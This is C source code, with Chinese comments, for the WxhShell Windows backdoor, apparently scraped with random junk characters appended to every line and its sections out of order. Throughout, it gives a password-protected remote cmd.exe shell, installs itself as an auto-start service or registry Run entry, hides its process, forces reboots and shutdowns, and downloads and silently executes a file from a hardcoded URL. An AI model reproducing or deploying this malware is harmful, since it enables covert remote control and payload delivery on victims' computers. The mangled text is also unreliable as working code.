    if(Boot(SHUTDOWN)) +2{ f>KZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rfonM~3?'  
    else { f:M^q ;  
    closesocket(wsh); , >WH)+a  
    ExitThread(0); LZ)g&A(j?  
    } eZ:iW#YF  
    break; u43Mo\"<&%  
    } Ct'tUF<K5  
  // 获取shell n>)aw4  
  case 's': { _jX,1+M  
    CmdShell(wsh); v9 \n=Z  
    closesocket(wsh); V<5. 4{[G  
    ExitThread(0); C rR/  
    break; $*eYiz3Ue  
  } !BVCuuM>w  
  // 退出 'TYO-'aC  
  case 'x': { N&G'i.w/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D zD5n  
    CloseIt(wsh); .iV=ybMT  
    break; -o~zb-E  
    } J3y _JoS  
  // 离开 fYuSfB+<  
  case 'q': { 8Ze> hEG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c(1tOQk.  
    closesocket(wsh); 7KiraKb|  
    WSACleanup(); N/F_,>E  
    exit(1); _ uOi:Ti  
    break; Pt85q?->  
        } _xAru9=n^  
  } vk|f"I  
  } B{\Y~>]Pj  
l1]N&jN{  
  // 提示信息 ga|<S@u?}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %( OP  [  
} n=j) M  
  } K^o$uUBe  
IwYfs]-  
  return; 2@bOy~$A  
} J t.<Z&  
3F"vK  
// shell模块句柄 GI{EP&C  
int CmdShell(SOCKET sock) Zsapu1HoL\  
{ *Z"cXg^ti  
STARTUPINFO si; -Y+pLvG*  
ZeroMemory(&si,sizeof(si)); t8Pf~v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lO\HchG zB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '?$@hqQn  
PROCESS_INFORMATION ProcessInfo; W'9{2h6u(  
char cmdline[]="cmd"; ,l AZ4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w &YUb,{Y  
  return 0; 1VYH:uGuAU  
} $G <r2lPy  
 I wj[ ^  
// 自身启动模式 f'ld6jt|%  
int StartFromService(void) `\:Ede  
{ Mh3.GpS  
typedef struct d>#',C#;  
{ #O_%!7M{4  
  DWORD ExitStatus; O: I]v@  
  DWORD PebBaseAddress; F ]X<q uuL  
  DWORD AffinityMask; 3_G0eIE"u  
  DWORD BasePriority; An>ai N]  
  ULONG UniqueProcessId; _b>z'4_'  
  ULONG InheritedFromUniqueProcessId; "E7<S5 cr  
}   PROCESS_BASIC_INFORMATION; G "+[@|  
v 2rzHzFU  
PROCNTQSIP NtQueryInformationProcess; fph+ 05.%  
|5>A^a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q/w5Dx|:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a(IE8:yU`  
LV9R ]  
  HANDLE             hProcess; :icpPv  
  PROCESS_BASIC_INFORMATION pbi; 5fs,UH  
#Qg)4[pMJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1 39T*0C  
  if(NULL == hInst ) return 0; Uth+4Aq  
;*K;)C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5o{U$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3qGz(6w6E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IW@xT@  
>&>EjK4?  
  if (!NtQueryInformationProcess) return 0; oGZuYpa9  
VPYcA>-%u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {8":c n j  
  if(!hProcess) return 0; "Cvr("'O  
Qu/f>tJN;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q7`)&^ Hx  
<:(;#&<  
  CloseHandle(hProcess); dj5|t~&  
LdOqV'&r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D\ZH1C!d  
if(hProcess==NULL) return 0; |61ns6i!  
H{_D#It  
HMODULE hMod; [Ous|a[)o  
char procName[255]; 3y$6}Kp4?  
unsigned long cbNeeded; RI<s mt.Ng  
:SwA) (1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }#~E-N3x  
Y$, ++wx  
  CloseHandle(hProcess); p4\sKF8-  
67H?xsk@n  
if(strstr(procName,"services")) return 1; // 以服务启动 D@5h$ m5  
E!WlQr:b$  
  return 0; // 注册表启动 9I5AYa?  
} aox@- jyr  
fGH)Fgo`  
// 主模块 39[ylR|\  
int StartWxhshell(LPSTR lpCmdLine) iVVR$uzhH  
{ %#EzZD  
  SOCKET wsl; j,%i.[8S  
BOOL val=TRUE; AL&<SxuP  
  int port=0; u46Z}~xfb  
  struct sockaddr_in door; XdzC/ {G  
}U9dzU14  
  if(wscfg.ws_autoins) Install(); lHliMBSc  
U![$7k>,pr  
port=atoi(lpCmdLine); Y[VXx8"p  
]m &Ss  
if(port<=0) port=wscfg.ws_port; [(3 %$?[  
Mc8_D,7  
  WSADATA data; U0|bKU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zy)iNNtn  
mICx9oz]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [EVyCIcY,h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cJSwA&  
  door.sin_family = AF_INET; 'F*OlZ!BWy  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QYj 4D  
  door.sin_port = htons(port); a~!7A ZT-O  
z#n+iC$9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t"~X6o|R  
closesocket(wsl); &liFUP?   
return 1; yk^2<?z>2  
} ?!c7Zx,(  
 YO fYa  
  if(listen(wsl,2) == INVALID_SOCKET) { cF iTanu  
closesocket(wsl); n~jW  
return 1; q{[y4c1bG{  
} V sL*&Fk  
  Wxhshell(wsl); *y+K{ fM1  
  WSACleanup(); kA2)T,s74  
J!Rqm!)q  
return 0; <h~uGBS"  
5yW}#W>  
} 6aAN8wO;b  
nkN2Bqt$  
// 以NT服务方式启动 ;d}n89DXj  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DU5rB\!.~  
{ )1YGWr;ykS  
DWORD   status = 0; W3X;c*j  
  DWORD   specificError = 0xfffffff; , d HAD  
:4\_upRE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZY6%%7?1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SM<qb0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a6d|Ps.\!  
  serviceStatus.dwWin32ExitCode     = 0; ZxDh! _[s  
  serviceStatus.dwServiceSpecificExitCode = 0; (f* r  
  serviceStatus.dwCheckPoint       = 0; hig t(u  
  serviceStatus.dwWaitHint       = 0; mndEB!b  
I'<sJs*p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); # ?u bvSdU  
  if (hServiceStatusHandle==0) return; sI4 FgO  
1P BnGQYM  
status = GetLastError(); Sx_j`Cgy  
  if (status!=NO_ERROR) #S|On[Q!  
{ u b@'(*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !_&;#j](  
    serviceStatus.dwCheckPoint       = 0; v=IcVHuf  
    serviceStatus.dwWaitHint       = 0; B]>rcjD  
    serviceStatus.dwWin32ExitCode     = status; PhmtCp0-7-  
    serviceStatus.dwServiceSpecificExitCode = specificError; eW_EWVH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0.wN&:I8t  
    return; B+'w'e$6  
  } ,(+ZD@Rg  
D]V&1n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `ih#>i_ &  
  serviceStatus.dwCheckPoint       = 0; Vl:M6d1  
  serviceStatus.dwWaitHint       = 0; N VDvd6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hSk  
} n+'s9  
JNA_*3 '  
// 处理NT服务事件,比如:启动、停止 %1i *Y*wg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ><)fK5x  
{ *MN("<A_  
switch(fdwControl) z9zo5Xc=  
{ M !rw!,g  
case SERVICE_CONTROL_STOP: 6 c-9[-Px  
  serviceStatus.dwWin32ExitCode = 0; cdfnM%`>\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k%LsjN.S  
  serviceStatus.dwCheckPoint   = 0; +AOpB L'  
  serviceStatus.dwWaitHint     = 0; 4 ..V  
  { 7"{CBbT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H4e2#]*i7  
  } 'G3|PA7v  
  return; vLcOZ^iK  
case SERVICE_CONTROL_PAUSE:  p;vrPS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jTok1k  
  break; /^ [K  
case SERVICE_CONTROL_CONTINUE: '/F~vSQsR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xT8!X5;  
  break; StMvz~  
case SERVICE_CONTROL_INTERROGATE: S%w67sGl4n  
  break; 7+J<N@.d  
}; Qlhm:[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C2K<CDVw  
} 1++Fs  
au7@-_  
// 标准应用程序主函数 ;:ocU?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yc@ :*Z  
{ 9CHn6 v ~)  
toC|vn&P  
// 获取操作系统版本 !%G;t$U=M  
OsIsNt=GetOsVer(); "I45=nf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N|s8PIcSp  
$s5D/60nO  
  // 从命令行安装 t? _{  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7Y*Q)DDy  
Oat #%  
  // 下载执行文件 ; HjT  
if(wscfg.ws_downexe) { \1#!% I=.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2rX}A3%9^^  
  WinExec(wscfg.ws_filenam,SW_HIDE); q&EwD(k  
} ny+_&l^R~(  
]4&B*]j  
if(!OsIsNt) { ~bX ) %jC  
// 如果时win9x,隐藏进程并且设置为注册表启动 {:BY IdX  
HideProc(); SCD;(I~4  
StartWxhshell(lpCmdLine); _jrkR n1"  
} ~2?UEv6  
else DBzF\-  
  if(StartFromService()) D$bJs O  
  // 以服务方式启动 [ r=U-  
  StartServiceCtrlDispatcher(DispatchTable); F[U0TP@&*  
else >U') ICD~  
  // 普通方式启动 !EO 2  
  StartWxhshell(lpCmdLine); ^]?Yd)v  
k.w}}78N2N  
return 0; Ix|^c268o<  
} fm^)u"  
5[>N[}Ck>  
G X>T~i\f8  
%p.hwgvnp  
=========================================== STQ~mFs"  
qy~@cPT  
v@E/?\k"  
'O]Ja-  
~6:y@4&F  
o[CjRQY]P  
" r=pb7=M#LN  
HA%r:Px  
#include <stdio.h> $ *^E  
#include <string.h> Q\<^ih51  
#include <windows.h> 0_5j(   
#include <winsock2.h> wa4(tM2  
#include <winsvc.h> QG=&{-I~[3  
#include <urlmon.h> T@H2[ 7[;  
V{G9E  
#pragma comment (lib, "Ws2_32.lib") B[Fuyy?  
#pragma comment (lib, "urlmon.lib") hFWK^]~ a  
jo8;S?+<|?  
#define MAX_USER   100 // 最大客户端连接数 l<mEGKB#  
#define BUF_SOCK   200 // sock buffer 9d!}]+"d42  
#define KEY_BUFF   255 // 输入 buffer :,(ZMx\  
mh8~w~/[  
#define REBOOT     0   // 重启 0Ku%9wh-  
#define SHUTDOWN   1   // 关机 x2g P, p-  
s%R'c_cGZ  
#define DEF_PORT   5000 // 监听端口 RDu'N  
g"Z X1X  
#define REG_LEN     16   // 注册表键长度 Bswd20(w  
#define SVC_LEN     80   // NT服务名长度 hq^@t6!C\m  
:+>:>$ao  
// 从dll定义API |.Pl[y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); : Gz#4k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t7p`A8&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;hLne0|)}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9v<Sng  
cAE.I$T(  
// wxhshell配置信息 e r;3TG~  
struct WSCFG { 5CsJghTw  
  int ws_port;         // 监听端口 zz4A,XrD  
  char ws_passstr[REG_LEN]; // 口令 k98}Jx7J)"  
  int ws_autoins;       // 安装标记, 1=yes 0=no :K6(`J3Y"^  
  char ws_regname[REG_LEN]; // 注册表键名 P2Ja*!K]  
  char ws_svcname[REG_LEN]; // 服务名 1=t\|Th-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )ccd fSe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yv<0fQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pl }dA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =R^V[zTn_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t'EH_ U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &:` 7  
^E7>!Lbvx  
}; "=W7=V8w  
9J?G"JV?  
// default Wxhshell configuration RkJ\?  
struct WSCFG wscfg={DEF_PORT, sS$- PX C  
    "xuhuanlingzhe", {[4Y(l1  
    1, ;6} *0V_!k  
    "Wxhshell", |j i}LWcD  
    "Wxhshell", G'z&U?Ng  
            "WxhShell Service", T@]vjXd![  
    "Wrsky Windows CmdShell Service", mdOF0b%-]  
    "Please Input Your Password: ", oWpy ^=D_  
  1, S`"M;%T  
  "http://www.wrsky.com/wxhshell.exe", U jC$Mi`O  
  "Wxhshell.exe" BV&}(9z  
    }; LTY@}o]\U  
1px:(8]{  
// 消息定义模块 |400N +MK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d+|8({X]D8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gtHk1 9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z<|ca T]Q(  
char *msg_ws_ext="\n\rExit."; P$)9osr  
char *msg_ws_end="\n\rQuit."; x c-=;|s  
char *msg_ws_boot="\n\rReboot..."; 56o?=|  
char *msg_ws_poff="\n\rShutdown..."; dxkXt  k  
char *msg_ws_down="\n\rSave to "; @Ey(0BxNu  
c(bh i  
char *msg_ws_err="\n\rErr!"; y= I LA  
char *msg_ws_ok="\n\rOK!"; @Ns^?#u~   
{nbD5 ?   
char ExeFile[MAX_PATH]; E YUr.#:  
int nUser = 0; #TUsi,jG  
HANDLE handles[MAX_USER]; ~ S R:,R  
int OsIsNt; XQk9 U  
0X)'8N  
SERVICE_STATUS       serviceStatus; sf?D4UdIH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;1cX|N=  
/s=TLPm  
// 函数声明 r! 5C3  
int Install(void); CD^_>sya  
int Uninstall(void); _SC>EP8:Z  
int DownloadFile(char *sURL, SOCKET wsh); R$*{@U  
int Boot(int flag); QH4nb h4  
void HideProc(void); )E^4\3 ^:  
int GetOsVer(void); Ckvm3r\i2  
int Wxhshell(SOCKET wsl); mB#`{|1[  
void TalkWithClient(void *cs); ;X\>oV3#  
int CmdShell(SOCKET sock); Vd|5JA}<"  
int StartFromService(void); X63DBF4A  
int StartWxhshell(LPSTR lpCmdLine); >U9!KB  
LIVVb"V|,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /PIU@$DV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A"C%.InZ  
JPiC/  
// 数据结构和表定义 '&3Sl?E  
SERVICE_TABLE_ENTRY DispatchTable[] = B\}E v&  
{ W?'!}g(~  
{wscfg.ws_svcname, NTServiceMain}, x-U^U.i@  
{NULL, NULL} $;+B)#  
}; q[b-vTzI  
bs]ret$?(q  
// 自我安装 i<1w*yu  
int Install(void) T{|'<KT  
{ P,~a'_w:|D  
  char svExeFile[MAX_PATH]; /Yx 1S'5  
  HKEY key; cCU'~  
  strcpy(svExeFile,ExeFile); OR( )D~:n  
"^<:7_Y  
// 如果是win9x系统,修改注册表设为自启动 lV$U!v: b  
if(!OsIsNt) { 4%p5X8|\ih  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NeHR% a2~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,q/K&'0`  
  RegCloseKey(key); G+'MTC_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $K,rVTU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2X)E3V/*  
  RegCloseKey(key); Z[AJat@H  
  return 0; E] t:_v  
    } J(M0t~RZ  
  } ez86+  
} f8N  
else { xvjHGgWSxc  
QhZ!A?':U  
// 如果是NT以上系统,安装为系统服务 /43DR;4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ssi{(}H/Jv  
if (schSCManager!=0) cWp n/.a  
{ BaiC;&(   
  SC_HANDLE schService = CreateService YT, 1E>rd  
  ( >H5BY9]I  
  schSCManager, v>)[NAY9  
  wscfg.ws_svcname, +tkd($//  
  wscfg.ws_svcdisp, ',6QL4qV/  
  SERVICE_ALL_ACCESS, M5exo   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2v`VtV|B  
  SERVICE_AUTO_START, VuJth  
  SERVICE_ERROR_NORMAL, zG@9-s* L  
  svExeFile, F>n<;<  
  NULL, jfqWcX.X=  
  NULL, '|4/aHU  
  NULL, TR{8A^XhE8  
  NULL, \#2,1W@  
  NULL ?_W "=WpC  
  ); )R9>;CuC9?  
  if (schService!=0) Tr/wG  
  { Q-O:L  
  CloseServiceHandle(schService); dm.?-u;C  
  CloseServiceHandle(schSCManager); Ej'a G   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1oj7R7  
  strcat(svExeFile,wscfg.ws_svcname); WU#bA|Cf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ( rZq0*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w6R=r n  
  RegCloseKey(key); DWk'6;e4j  
  return 0; %~^R Iwm  
    } [JMz~~ F  
  } }%$9nq3  
  CloseServiceHandle(schSCManager); IOTHk+w  
} M29[\@zL  
} 1.yw\ZC\  
_h@7>+vl~  
return 1; &sJpn* W  
} pVt-7 AgW  
I g-VSQ  
// 自我卸载 yn!LJT[~2  
int Uninstall(void) c !P9`l~MQ  
{ 3Eiy/  
  HKEY key; ?)4|WN|c_  
"Oh-`C  
if(!OsIsNt) { $CL=M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yq`r>g  
  RegDeleteValue(key,wscfg.ws_regname); #5G!lbH  
  RegCloseKey(key); N1P [&lR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k@4]s_2  
  RegDeleteValue(key,wscfg.ws_regname); `x6 i5mp  
  RegCloseKey(key); a2Q9tt>Q  
  return 0; :7:Nx`D8  
  } b%,5B  
} =kZPd>&L  
} r^#.yUz  
else { >4~{ CXZ  
Xd|@w{.m*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aKH\8O4L5  
if (schSCManager!=0)  A{5 k}  
{ Ha)w*1&w"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |;rjr_I  
  if (schService!=0) $Xz9xzOR  
  { kc~Z1  
  if(DeleteService(schService)!=0) { !p&M,6  
  CloseServiceHandle(schService); [^ 7^&/0  
  CloseServiceHandle(schSCManager); <&l3bL  
  return 0; A8c'CMEm  
  } D9#e2ex]  
  CloseServiceHandle(schService); <po(7XB  
  } GE~mu76%  
  CloseServiceHandle(schSCManager); KQ3)^J_Z  
} |4X:>Ut]  
} K.l?R#G`,F  
*1;<xeVD  
return 1; G-M!I`P  
} {l *ps-fi  
1v`<Vb%"}T  
// 从指定url下载文件 _k5KJKvr  
int DownloadFile(char *sURL, SOCKET wsh) vuDp_p*]S  
{ JguE#ob2  
  HRESULT hr; IO^O9IEx,  
char seps[]= "/"; JO+ hD4L  
char *token; b LL!iz?  
char *file; {*jkx,|  
char myURL[MAX_PATH]; v8 6ls[lzu  
char myFILE[MAX_PATH]; DNki xE*  
[u)^QgP  
strcpy(myURL,sURL); \vFkhm  
  token=strtok(myURL,seps); {v;Y}o-p  
  while(token!=NULL) A "_;.e`  
  { ;M"hX  
    file=token; ;EF s2-{K  
  token=strtok(NULL,seps); TrkoLJmB  
  } ?>RJ8\Sj  
P>4(+s  
GetCurrentDirectory(MAX_PATH,myFILE); /:yKa=$  
strcat(myFILE, "\\"); =\:YNP/  
strcat(myFILE, file); `jP\*k`~]  
  send(wsh,myFILE,strlen(myFILE),0); .~W7{SY[  
send(wsh,"...",3,0); "p2PZ)|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N^mY/`2  
  if(hr==S_OK) &~$^a1D6  
return 0; er l_Gg  
else ua4QtDSs  
return 1; "28x-F+J  
##k== 'dR  
} N<N!it  
r<&d1fM;X  
// 系统电源模块 J,{sRb%  
int Boot(int flag) 'ky'GzX,  
{ w? !@fu  
  HANDLE hToken; *QjFrw3  
  TOKEN_PRIVILEGES tkp; )JuD !  
(]mN09uE  
  if(OsIsNt) { O^U{I?gQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wk8XD(&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T!v%NZj3  
    tkp.PrivilegeCount = 1; \P{VJ^) 0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1C.<@IZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m{R`1cN=Hg  
if(flag==REBOOT) { [0MVsc=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *QAK9mc  
  return 0; Z[0xqGYLB  
} Qs;bVlp!H  
else { s=U_tfpH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (q:L_zFj>"  
  return 0; l)XzU&Sc~  
} oWx! 'K6]V  
  } Y#?Sqm(  
  else { ?LvZEiJ  
if(flag==REBOOT) { HK:?Y[ebs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T:na\y/{j  
  return 0; f>p;Jh{2fn  
} =P0~=UP  
else { s)ZL`S?</  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mjB%"w!S  
  return 0; ||qsoF5B]  
} sEhdkN}6  
} A5?[j QT0  
e7vPi QCc  
return 1; GW` 9SB  
} p1G!-\l  
Mg^GN -l  
// win9x进程隐藏模块 NbG3^(  
void HideProc(void) V/762&2X  
{ \'E%ue_<9  
&*MwKr<y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a#j0N5<Nl  
  if ( hKernel != NULL ) #p=/P{*  
  { %Vive2j C  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %3z-^#B=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zy+|)^E  
    FreeLibrary(hKernel); /pX\)wi  
  } e:!&y\'"9  
t55 '  
return; 0QEVL6gw  
} U.?,vw'aai  
/Pi{Mv eZM  
// 获取操作系统版本 =AZ>2P  
int GetOsVer(void) 9{xP~0g  
{ |910xd`Z  
  OSVERSIONINFO winfo; %4+r&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C4Bh#C  
  GetVersionEx(&winfo); {T m-X`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g4I(uEJk  
  return 1; *Pw; ;#\B  
  else ,Qj7wFZ  
  return 0; !:rQ@PSy9  
} 8n);NZ  
x*bM C&Ea  
// 客户端句柄模块 KcNEB_i  
int Wxhshell(SOCKET wsl) \gj@O5rGP  
{ }2V|B4  
  SOCKET wsh; s?E7tmaM  
  struct sockaddr_in client; V><5N;w  
  DWORD myID; b/5;377_  
[T~O%ly7x&  
  while(nUser<MAX_USER) 2x3&o|J  
{ p# O%<S@?  
  int nSize=sizeof(client); H4^-MSw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X^fMt]  
  if(wsh==INVALID_SOCKET) return 1; }MXZ  
yv4hH4Io  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ldi'@^  
if(handles[nUser]==0) y=5s~7]  
  closesocket(wsh); x1Z?x,-D"  
else BE}lzn=sF  
  nUser++; uK}k]x\z  
  } duT2:~H2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ihf5`mk/$  
zOWbdd_zl  
  return 0; f}  eZX  
} }_gCWz-5?  
C!RxMccTh  
// 关闭 socket GwW!Q|tVz=  
void CloseIt(SOCKET wsh) im4V6 f;%  
{ YX!%R]c%  
closesocket(wsh); Aw9^}k}UfD  
nUser--; jyLpe2 S  
ExitThread(0); r`B8Cik  
} Vk@u|6U'  
rc 9 \  
// 客户端请求句柄 8Z FPs/HP  
void TalkWithClient(void *cs) /Q})%j1S0  
{ 2+ >.Z.pX  
Yz\z Qj  
  SOCKET wsh=(SOCKET)cs; Gzc{2"p  
  char pwd[SVC_LEN]; osPX%k!yw  
  char cmd[KEY_BUFF]; Xk(c2s&  
char chr[1];  V:F)m!   
int i,j; 9'td}S  
&hyr""NkAm  
  while (nUser < MAX_USER) { Y -o*d@  
u{tjB/K&  
if(wscfg.ws_passstr) { JU/K\S2%,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |W`1#sP>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C&Ow*~  
  //ZeroMemory(pwd,KEY_BUFF); [1 w  
      i=0; YeYFPi#  
  while(i<SVC_LEN) { h*h+VM  
byyz\>yAVq  
  // 设置超时 }4 P@`>e/`  
  fd_set FdRead; IEjKI"  
  struct timeval TimeOut; n=L;(jp<j  
  FD_ZERO(&FdRead); +cQ4u4  
  FD_SET(wsh,&FdRead); u5$\E]+ _  
  TimeOut.tv_sec=8; q8P| ]  
  TimeOut.tv_usec=0; u23^* -  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6>SP5|GG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lmQ!q>N  
  VG q'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]^/:Xsk$  
  pwd=chr[0]; E/Eny 5  
  if(chr[0]==0xd || chr[0]==0xa) { IAhyGD{b  
  pwd=0; YJ. 'Yc  
  break; #B;`T[  
  } -"<H$  
  i++; ATk>:^n  
    } @C~TD)K  
N[){yaj  
  // 如果是非法用户,关闭 socket o/2\8   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `f8{ ^Rau  
} !+JSguy  
(s,Nq~O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bx!Sy0PUJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $9M>B<]  
nBWrkVX  
while(1) { ?U iwr{Q  
`-qSvjX  
  ZeroMemory(cmd,KEY_BUFF); 8!4=j  
&CCB;Oi%  
      // 自动支持客户端 telnet标准   CNM/}|N^Si  
  j=0; T{{J' _s5L  
  while(j<KEY_BUFF) { ,#`gwtFG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D>VI{p  
  cmd[j]=chr[0]; 2JUX29rER  
  if(chr[0]==0xa || chr[0]==0xd) { qs\ & C  
  cmd[j]=0; #:DDx5%x<b  
  break; .G?7t6A  
  } K:465r:  
  j++; m/cbRuPWgP  
    } UI_|VU>J  
%pt ul_(s'  
  // 下载文件 ubj ~ULA  
  if(strstr(cmd,"http://")) { Czid"Ih-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T5Sa9\`>  
  if(DownloadFile(cmd,wsh)) M5: f^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k_-=:(Z  
  else lVARe3#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C>:F4"0  
  } vXq=f:y4  
